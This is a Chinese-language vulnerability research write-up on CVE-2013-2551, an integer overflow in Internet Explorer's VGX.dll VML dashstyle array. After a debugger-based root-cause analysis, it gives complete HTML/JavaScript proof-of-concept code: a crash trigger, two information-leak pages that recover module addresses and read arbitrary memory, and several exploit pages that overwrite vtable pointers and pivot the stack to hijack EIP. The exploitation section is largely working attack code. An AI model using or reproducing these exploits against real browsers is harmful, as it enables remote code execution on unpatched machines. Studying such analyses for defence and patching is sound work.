Internet Explorer(二)——CVE-2013-2551

简介: •编号:CVE-2013-2551•类型:整数溢出(Integer Overflow)

0x01 漏洞信息

0x01.1 漏洞简述

编号:CVE-2013-2551类型:整数溢出(Integer Overflow)漏洞影响:远程代码执行(RCE)CVSS 2.0:9.3

VGX.dll中COALineDashStyleArray::put_length函数在处理length数据时未做有效验证,以致length为负数可造成整数溢出,进而实现任意读写。

0x01.2 漏洞影响

Microsoft Internet Explorer 6—10

0x01.3 修复方案

[MS13-037]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-037

0x02 漏洞分析

0x02.1 分析环境

OS版本:Windows XP Service Pack 3Internet Explorer版本:8.0.6001.18702VGX.dll版本:8.0.6001.18702

0x02.2 前置知识

VML的全称是Vector Markup Language(矢量可标记语言),其基于XML,矢量图形——意味着图形可以任意放大缩小而不损失图形的质量。VML相当于IE里面的画笔,能实现你所想要的图形,而且结合脚本,可以让图形产生动态的效果。(不仅是IE,Microsoft Office同样支持VML)

使用VML首先要通过<style>引入:

<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

之后声明VML Namespace:

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

如此便可添加VML元素以绘制图形。

一例:

<html><title>VML Sample</title><!-- Include the VML behavior --><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><!-- Declare the VML namespace --><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body>   <v:shape   fillcolor="green"   style="position:relative;top:1;left:1;width:200;height:200"   path = "m 1,1 l 1,200, 200,200, 200,1 x e">   </v:shape></body></html>

Shape是VML最基本的对象,利用它可以画出所有你想要的图形。其主要属性Path可参阅[VML Path Attribute—Microsoft Docs]https://docs.microsoft.com/en-us/windows/win32/vml/msdn-online-vml-path-attribute。

0x02.3 详细分析

使用IE打开poc.html

<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>POC by VUPEN</title><!-- Include the VML behavior --><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><!-- Declare the VML namespace --><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a          = new Array()function createRects(){    for(var i=0; i<0x400; i++){        rect_array[i]    = document.createElement("v:shape")        rect_array[i].id = "rect" + i.toString()        document.body.appendChild(rect_array[i])    }}function crashme(){    var vml1  = document.getElementById("vml1")    var shape = document.getElementById("shape")        for (var i=0; i<0x400; i++){                                       //set up the heap      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;    }    for (var i=0; i<0x400; i++){      a[i].rotation;                                                   //create a COARuntimeStyle      if (i == 0x300) {                                                //allocate an ORG array of size B0h           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"      }    }        vml1.dashstyle.array.length      = 0 - 1    shape.dashstyle.array.length     = 0 - 1        for (var i=0; i<0x400; i++) {       a[i].marginLeft   = "a";       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);       if (marginLeftAddress > 0) {            try{                shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;            }            catch(e) {continue}       }    }}</script><body onload="createRects();"><v:oval><v:stroke id="vml1"/></v:oval><v:oval><v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/></v:oval><input value="crash!!!"type="button" onclick="crashme();"></input></body></html>

允许阻止内容后,WinDbg附加进程并运行,单击crash按钮,崩溃点如下:

图1

使用gflags.exeiexplore.exe开启页堆,WinDbg启动iexplore.exe,通过.childdbg 1命令启用子进程调试并运行后,崩溃点如下:

图2

kb查看调用堆栈:

图3

重新启动iexplore.exe,加载VGX.dll完成后于ORG::Get函数处设断,查看其this参数:

图4

继续向下分析,可以看到vgx!ORG对象结构偏移0x10处存储指向dashstyle数组指针:

图5

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);操作由memecpy完成:

图6

漏洞成因显然不位于该函数,继续向上回溯至vgx!COALineDashStyleArray::get_item,其调用vgx!ORG::CElements获取数组元素个数:

图7

要读取元素下标需大于0xFFFFFFFF,小于vgx!ORG对象结构偏移0x04处值(WORD)。若下标合法,之后便会调用vgx!ORG::Get。可以从上图看到数组Length值0xffff,该值需跟进COALineDashStyleArray::put_length函数分析。

首先获取数组原长度,与更改长度进行比较:

图8

此处即为漏洞触发位置,其调用vgx!ORG::CElements函数获取长度使用movzx   eax, word ptr [eax+4]指令,将长度当作无符号整数处理(而非采用movsx指令),但跳转语句jge是基于有符号整数比较的跳转。

大于等于则会调用vgx!ORG::DeleteRange

图9

跟进发现其调用MsoDeletePx

图10

继续跟进,写入更改长度操作位于MsoFRemovePx函数内:

图11

如此一来,将数组Length修改为0xFFFF,进而可以实现越界读写——前文分析vgx!COALineDashStyleArray::get_item函数对应越界读操作,下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item函数,其与get_item不同之处是调用vgx!ORG::PGet函数:

图12

该函数用于计算写入位置:

图13

之后写入操作由put_itemmov [eax], ecx指令完成:

图14

0x02.4 利用分析

0x02.4a 信息泄露

有两种信息泄露方法,详见下文分析。

_anchorRect属性

访问_anchorRect属性时会调用COAShape::get__anchorRect函数,而该函数会通过malloc申请0x10字节空间:

图15

该空间用于存储COAReturnedPointsForAnchor对象:

图16

如此一来,可申请大量空间存储COAReturnedPointsForAnchor对象,中间放置Dashstyle Array,之后便可访问后续COAReturnedPointsForAnchor对象虚表以获取VGX.dll基址。但笔者在进行布局时发现其后并非紧接COAReturnedPointsForAnchor对象:

for(var i=0; i<0x1000; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }  ....  for (var i=0; i<0x1000; i++){    a[i] = document.getElementById("rect" + i.toString())._anchorRect;    if (i==0x800){      vml1.dashstyle="1 2 3 4";    }  }

图17

由上图可以看到是COAShape对象,其虚表相对于VGX.dll基址偏移为0x82a48。经计算,读取该地址数组下标为0x12,故笔者构造信息泄露POC如下:

<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>INFO LEAK</title><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body onload="createRects(); info_leak();"><v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval><v:oval><v:stroke id="vml1"/></v:oval></body><script>var rect_array = new Array()var a = new Array()function createRects(){  for(var i=0; i<0x1000; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }}function info_leak(){  var vml1  = document.getElementById("vml1")  for (var i=0; i<0x1000; i++){    a[i] = document.getElementById("rect" + i.toString())._anchorRect;    if (i==0x800){      vml1.dashstyle="1 2 3 4";    }  }  vml1.dashstyle.array.length = 0 - 1;     var leak = vml1.dashstyle.array.item(0x12);  alert(leak-0x82a48);}</script></html>

图18

_vgRuntimeStyle属性

_vgRuntimeStyle.rotation对应COARuntimeStyle::get_rotation函数,初次访问会申请0xAC大小空间(COARuntimeStyle::get_rotation——>CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo):

图19

实际占用空间大小:

图20

那么于其中插入Dashstyle Array大小为0xB0(即44个元素,加上头部占用8字节,恰为0xB8):

图21

之后写_vgRuntimeStyle.marginLeft,对应COARuntimeStyle::put_marginLeft函数,由于先前已经申请内存空间,该函数调用CVMLShape::GetRTSInfo——>CParserTag::GetRTSInfo时便不会再次申请,而是返回内存地址,写入字符位置相对于该地址偏移为0x58:

图22

而读_vgRuntimeStyle.marginLeft,对应COARuntimeStyle::get_marginLeft函数,该函数会将偏移0x58处指针指向内容读取出来:

图23

如此一来,控制0x58处指针内容,可实现任意地址读取。

利用漏洞可读写该地址处内容,下标为0x2E(0x2B对应数组最后一个元素,0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下:

<html><head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title>INFO LEAK</title><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><body onload="createRects(); exploit();"><v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval><v:oval><v:stroke id="vml1"/></v:oval></body><script>var rect_array = new Array()var a = new Array()function createRects(){  for(var i=0; i<0x400; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }}function exploit(){  var vml1  = document.getElementById("vml1")    for (var i=0; i<0x400; i++){    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;  }    for (var i=0; i<0x400; i++){    a[i].rotation;                    if (i == 0x300) {                 vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"    }  }  var length_orig = vml1.dashstyle.array.length;  vml1.dashstyle.array.length = 0 - 1;     for (var i=0; i<0x400; i++)  {    a[i].marginLeft = "a";                                                                      marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);        if (marginLeftAddress > 0) {      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;      var leak = a[i].marginLeft;      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;      vml1.dashstyle.array.length = length_orig;      alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));      return;    }  }}</script></html>

图24


0x02.4b 劫持EIP

后续覆盖虚表指针劫持EIP部分,可能是由于笔者环境问题,并未完成。重新搭建环境如下:

OS版本:Windows 7 Service Pack 1 x86Internet Explorer版本:8.0.7601.17514VGX.dll版本:8.0.7600.16385

该环境下对象布局稍有不同:

图25

可以有两种不同的方式覆盖虚表指针。

vgx!COAReturnedPointsForAnchor::vftable

图26

<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){  for(var i=0; i<0x1000; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }}function exploit(){  var vml1 = document.getElementById("vml1")  for (var i=0; i<0x1000; i++){    a[i] = document.getElementById("rect" + i.toString())._anchorRect;    if (i == 0x800) {      vml1.dashstyle = "1 2 3 4"    }  }  vml1.dashstyle.array.length = 0 - 1;  vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;  for (var i=0; i<0x1000; i++)  {    delete a[i];    CollectGarbage();  }}</script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>

vgx!COAShape::vftable

图27

<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){  for(var i=0; i<0x1000; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }}function exploit(){  var vml1 = document.getElementById("vml1")  for (var i=0; i<0x1000; i++){    a[i] = document.getElementById("rect" + i.toString())._anchorRect;    if (i == 0x800) {      vml1.dashstyle = "1 2 3 4"    }  }  vml1.dashstyle.array.length = 0 - 1;  vml1.dashstyle.array.item(6) = 0x0c0c0c0c;  for (var i=0; i<0x1000; i++)  {    delete a[i];    CollectGarbage();  }location.reload();}    </script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>

第一种利用方式若要将栈转移到堆上(没有找到类似xchg ecx,esp直接交换ECX与ESP的gadget),需要再配合两次漏洞进行越界写:

</script><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" ></head><title></title><style>v\: * { behavior:url(#default#VML); display:inline-block }</style><xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /><script>var rect_array = new Array()var a = new Array()function createRects(){  for(var i=0; i<0x1000; i++){    rect_array[i]    = document.createElement("v:shape")    rect_array[i].id = "rect" + i.toString()    document.body.appendChild(rect_array[i])  }}function exploit(){  var vml1 = document.getElementById("vml1")  for (var i=0; i<0x1000; i++){    a[i] = document.getElementById("rect" + i.toString())._anchorRect;    if (i == 0x800) {      vml1.dashstyle = "1 2 3 4"    }  }  vml1.dashstyle.array.length = 0 - 1;  vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;  vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;  vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;  for (var i=0; i<0x1000; i++)  {    delete a[i];    CollectGarbage();  }}    </script><body onload="createRects(); exploit();"><v:oval><v:stroke id="vml1"/></v:oval></body></html>

与之相配合堆上gadgets如下:

图28

而第二种覆盖方式,直接用xchg eax,esp;ret这样的gadget即可。两种利用方式效果展示:

,时长00:32



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